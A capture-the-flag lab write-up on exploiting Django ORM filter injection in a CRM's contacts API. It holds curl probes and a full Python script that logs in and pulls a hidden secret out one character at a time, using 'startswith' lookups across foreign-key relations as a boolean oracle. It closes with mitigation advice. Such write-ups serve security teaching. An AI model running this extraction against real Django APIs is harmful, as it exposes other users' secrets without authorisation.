Lab 373 — PipelineIQ — Django ORM Filter Injection
Lab 373 — PipelineIQ — Django ORM Filter Injection
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-03 | Status: Solved Techniques: django_orm_filter_injection, foreign_key_traversal, boolean_blind_extraction, startswith_oracle, decoy_flag_recognition
Summary
Task: CRM platform with REST API that passes user query parameters directly to Django ORM .filter() without field whitelisting. Solution: exploit Django ORM filter injection via foreign key traversal (Contact → User → Profile → api_secret) using startswith as a boolean oracle for character-by-character flag extraction.
Lab 373 — PipelineIQ — Django ORM Filter Injection — HackAdvisor
Description
PipelineIQ is a customer relationship management platform built by Flowmatic Systems for modern sales teams. It provides contact management, deal pipeline tracking, sales reporting, and a REST API for integrating with external tools. You have been given a standard sales representative account. Your objective is to find a vulnerability in the application that allows you to access sensitive data you should not be able to see. Somewhere in the system, a secret flag is stored — find it and retrieve it.
English summary: A Django-based CRM application with a REST API for contacts. The API accepts arbitrary query parameters and passes them directly to Django's ORM .filter() method. The goal is to exploit this to extract a hidden flag stored in a related model (Profile.api_secret) that the current user should not be able to access.
Credentials: user@test.com / password123
Analysis
Reconnaissance
After logging in, the application exposes several pages:
/login/— Login page (contains decoy flags likeFLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}in HTML source — these are fake, designed to trap automated tools)/— Dashboard with sales metrics/contacts/— Contacts list with API documentation/deals/— Deals pipeline/reports/— Sales reports/settings/— User settings (shows API credentials)/api/contacts/— REST API endpoint
Identifying the Vulnerability
The Contacts page (/contacts/) contained API documentation describing filtering capabilities:
GET /api/contacts/?company=Acme+CorpGET /api/contacts/?stage=qualifiedGET /api/contacts/?first_name__startswith=J- Supports:
exact,icontains,startswith,gt,lt, etc. - Critical hint: "Filter by any field including related model fields"
This reveals a Django ORM Filter Injection vulnerability. The /api/contacts/ endpoint passes user-supplied query parameters directly into Django's ORM .filter() method without restricting which fields or relationship paths can be queried. Django's double-underscore (__) syntax allows traversing foreign key relationships and applying lookup expressions, enabling an attacker to reach across model relationships to access sensitive data on related models.
Data Model Relationships
The relationship chain to the flag:
Contact → assigned_to (FK → User) → profile (OneToOne → Profile) → api_secret
The api_secret field on the Profile model contains the flag, and it belongs to a different user than the authenticated one.
Solution
Step 1: Confirm ORM Injection
Test basic lookups to confirm the API accepts arbitrary ORM lookups:
bash read-only • copy allowedcurl -b cookies.txt "https://TARGET/api/contacts/?first_name__startswith=J"
Returns filtered results — confirms arbitrary ORM lookups work.
Step 2: Confirm Foreign Key Traversal
Test relationship traversal through the assigned_to foreign key:
bash read-only • copy allowedcurl -b cookies.txt "https://TARGET/api/contacts/?assigned_to__email__contains=test"
Returns contacts assigned to user@test.com — confirms FK traversal works.
Step 3: Locate the Flag
Test the full relationship chain to the api_secret field:
bash read-only • copy allowed# Does api_secret start with "FLAG{"? curl -b cookies.txt "https://TARGET/api/contacts/?assigned_to__profile__api_secret__startswith=FLAG%7B"
Returns contacts → the prefix FLAG{ matches! The flag is in Profile.api_secret.
Step 4: Boolean-Based Blind Extraction
Use startswith as a boolean oracle: if the queried prefix matches, contacts are returned; if not, an empty array [] is returned.
python read-only • copy allowed#!/usr/bin/env python3 """ Django ORM Filter Injection — Boolean-based blind flag extraction Exploits: Contact → assigned_to → profile → api_secret Oracle: startswith lookup returns contacts if prefix matches, empty [] otherwise """ import requests import string BASE_URL = "https://9fc5d5dd-fbdd-463f-9f0b-bcc8234939c6.labs.hackadvisor.io" LOGIN_URL = f"{BASE_URL}/login/" API_URL = f"{BASE_URL}/api/contacts/" session = requests.Session() # Login to get session cookie resp = session.get(LOGIN_URL) csrf = session.cookies.get("csrftoken") session.post(LOGIN_URL, data={ "username": "user@test.com", "password": "password123", "csrfmiddlewaretoken": csrf }, headers={"Referer": LOGIN_URL}) # Character-by-character extraction using startswith oracle charset = string.ascii_lowercase + string.digits + "{}_" flag = "FLAG{" while not flag.endswith("}"): for c in charset: test = flag + c resp = session.get(API_URL, params={ "assigned_to__profile__api_secret__startswith": test }) if resp.json(): # Non-empty = prefix matches flag += c print(f"[+] {flag}") break else: print(f"[-] No match found after '{flag}', stopping") break print(f"\n[*] Flag: {flag}")
Step 5: Result
The script extracts the flag character by character:
[+] FLAG{4
[+] FLAG{43
[+] FLAG{436
...
[+] FLAG{REDACTED
[+] FLAG{REDACTED}
[*] Flag: FLAG{REDACTED}
Mitigation
- Whitelist allowed filter fields — never pass arbitrary user-supplied query parameters to Django's
.filter() - Use django-filter library which provides safe field whitelisting by default
- Restrict relationship traversal depth — do not allow
__chains across model boundaries - Validate and sanitize all query parameter names before ORM use